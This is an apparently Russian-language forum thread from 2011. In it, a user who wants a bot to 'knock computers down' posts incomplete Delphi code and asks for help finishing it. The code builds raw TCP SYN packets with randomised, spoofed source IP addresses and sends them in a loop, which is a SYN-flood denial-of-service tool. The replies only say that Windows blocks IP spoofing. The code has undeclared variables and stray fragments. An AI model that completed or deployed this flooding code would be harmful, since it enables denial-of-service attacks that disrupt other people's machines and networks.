Neo | Дата: Пятница, 12.08.2011, 06:39 | Сообщение # 1 |
Модератор
Зарегистрирован: 04.05.2010
Группа: Модераторы
Сообщений: 317
Статус: Offline
| Всем привет,вот задумал написать бота,который будет валить компы,нашёл статейку,в ней написано как сфабриковать свой ip пакет(с tcp инкапсюляцией).Пример,конечно, здравый,но там куча необъявленных переменных.Я исправил ошибки наполовину, до расчета контрольной суммы.Помогите,пожалуйста,добить этот сорс. Вот статейкаСтатейка Я использовал первый пример. Вот что я наисправлял: Code program Project2; {$APPTYPE CONSOLE} uses SysUtils, winsock2, windows;
type iph = record ip_verlen: byte; //Версия и длина ip_tos: byte; //Приоритет пакета ip_len: word; // Длина заголовка ip_id: word; // id -пакета ip_offset: word; //Смещение ip_ttl: byte; //Время жизни ip_protocol: byte; //Протокол ip_checksum: word; //Контрольная сумма ip_saddr: longword; //Адрес отправителя ip_daddr: longword; //Адрес получателя end; tcph = record th_sport: word; //Порт отправителя th_dport: word; //Порт получателя th_seq: longword; // Последовательный номер th_ack: longword; // Подтвержденный номер th_len: byte; // Длина заголовка th_flags: byte; // Кодовые биты th_win: word; // Окно th_checksum: word; // Контрольная сумма th_upr: word; // Кодовые биты end; Procedure D(DestIp:string{DestIp - Адрес получателя};port:integer{port получателя}); Var WSAData:TWSADATA; FSocket,SOL_SOCKET:TSocket; op,nTimeOver,Size,j,RandIp:integer; ipHeader:Iph; TCPHeader:TCPh; FromIp:string; buffer:array[0..3]of string; DataPointer:pointer; begin WSAStartup(MAKEWORD(2,2),WSAdata); FSocket:=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,nil,0,WSA_FLAG_OVERLAPPED); op:=1; setsockopt(FSocket,IPPROTO_IP,IP_HDRINCL,@op,sizeof(op)); nTimeOver:=1000; setsockopt(FSocket,SOL_SOCKET,SO_SNDTIMEO,@nTimeOver,sizeof(nTimeOver)); //Далее следует большой код сборки пакета. //Собираем пакет //Пишем версию и длину ip-пакета ipHeader.ip_verlen:=((4 shl 4)or sizeof(ipheader) div sizeof(longword)); ipHeader.ip_len:=htons(Size); ipHeader.ip_tos:=0; //Приоритет пакета ipHeader.ip_id:=1; //id-пакета ipHeader.ip_offset:=0; //смещение ipHeader.ip_ttl:=128; //время жизни пакета ipHeader.ip_protocol:=IPPROTO_TCP; //протокол //Генерируем рандомный ip-адресс FromIp:=''; For j:=0 to 3 do begin RandIp:=random(255); Str(Randip,Buffer[j]); end; //lstrcat –функция для сцепки строк {lstrcat(PChar(Fromip),PChar(Buffer[0])); lstrcat(Fromip,'.'); lstrcat(Fromip,Buffer[1]); lstrcat(Fromip,'.'); lstrcat(Fromip,Buffer[2]); lstrcat(Fromip,'.'); lstrcat(Fromip,Buffer[3]);} FromIp:=Buffer[0]+'.'+Buffer[1]+'.'+Buffer[2]+'.'+Buffer[3]; //ipHeader.ip_saddr:=inet_addr(FromIp); //Адрес источника ipHeader.ip_saddr:=inet_addr(PChar(FromIp)); //Адрес источника ipHeader.ip_daddr:=inet_addr(PChar(DestIp));//Адрес получателя //Заполняем TCP-заголовок TCPHeader.th_sport:=htons(Random(65000)); //Порт источника TCPHeader.th_dport:=htons(port); //Порт получателя TCPHeader.th_seq:=Random(4294967295); //Номер пакета TCPHeader.th_ack:=0; TCPHeader.th_len:=80; //SYN-пакет TCPHeader.th_flags:=2; TCPHeader.th_win:=htons(65535); TCPHeader.th_upr:=0; TCPHeader.th_checksum:=0;//Контрольная сумма TCP-пакета, которая расчитывается ниже end; //Расчет контрольной суммы //дальше не знаю как исправить DataPointer := @TCPIP[0]; FillChar(TCPIP, SizeOf(TCPIP), 0); Move(ipHeader.ip_saddr, DataPointer^, SizeOf(ipHeader.ip_saddr)); DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_saddr)); ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_saddr); Move(ipHeader.ip_daddr, DataPointer^, sizeof(ipHeader.ip_daddr)); DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_daddr)); ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_daddr); DataPointer := pointer(integer(DataPointer) + 1); Inc(ChecksumSize); Move(ipHeader.ip_protocol, DataPointer^, sizeof(ipHeader.ip_protocol)); DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_protocol)); ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_protocol); TcpHeaderLen := htons(sizeof(tcpHeader)); Move(TcpHeaderLen, DataPointer^, sizeof(TcpHeaderLen)); DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeaderLen)); ChecksumSize := ChecksumSize + sizeof(TcpHeaderLen); Move(tcpHeader, DataPointer^, sizeof(tcpHeader)); DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeader)); ChecksumSize := ChecksumSize + sizeof(tcpHeader); tcpHeader.th_checksum := CheckSum(TCPIP, ChecksumSize); FillChar(TCPIP, sizeof(TCPIP), 0); DataPointer := @TCPIP[0]; Move(ipHeader, DataPointer^, sizeof(ipHeader)); DataPointer := pointer(integer(DataPointer) + SizeOf(IPHeader)); Move(tcpHeader, DataPointer^, sizeof(tcpHeader)); После чего его нужно отправить For i:=0 to 10 do begin if (sendto(FSocket,TCPIP,Size,0,SockAddr_in,Sizeof(So ckAddr_In))=SOCKET_ERROR) then Writeln('Send error') else Writeln('Send ok'); end;
Сообщение отредактировал Neo - Пятница, 12.08.2011, 06:43 |
|
| |
C@T | Дата: Пятница, 12.08.2011, 13:47 | Сообщение # 2 |
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
| вынужден тебя огорчить, но под виндой такого делать нельзя(IP-spoofing запрещен, один мой знакомый ради этого под линух все перепиливал) + если твой провайдер выдает тебе твой ип автоматом, то у тебя твой ип(сетевой(локальный) ип) привязан к мак адресу
|
|
| |
Neo | Дата: Пятница, 12.08.2011, 15:09 | Сообщение # 3 |
Модератор
Зарегистрирован: 04.05.2010
Группа: Модераторы
Сообщений: 317
Статус: Offline
| А нельзя,потому,что запрещено или потому,что технически не реализуемо из под винды?
|
|
| |
Noi | Дата: Суббота, 13.08.2011, 15:40 | Сообщение # 4 |
Группа: Удаленные
| Винда запрещает
|
|
| |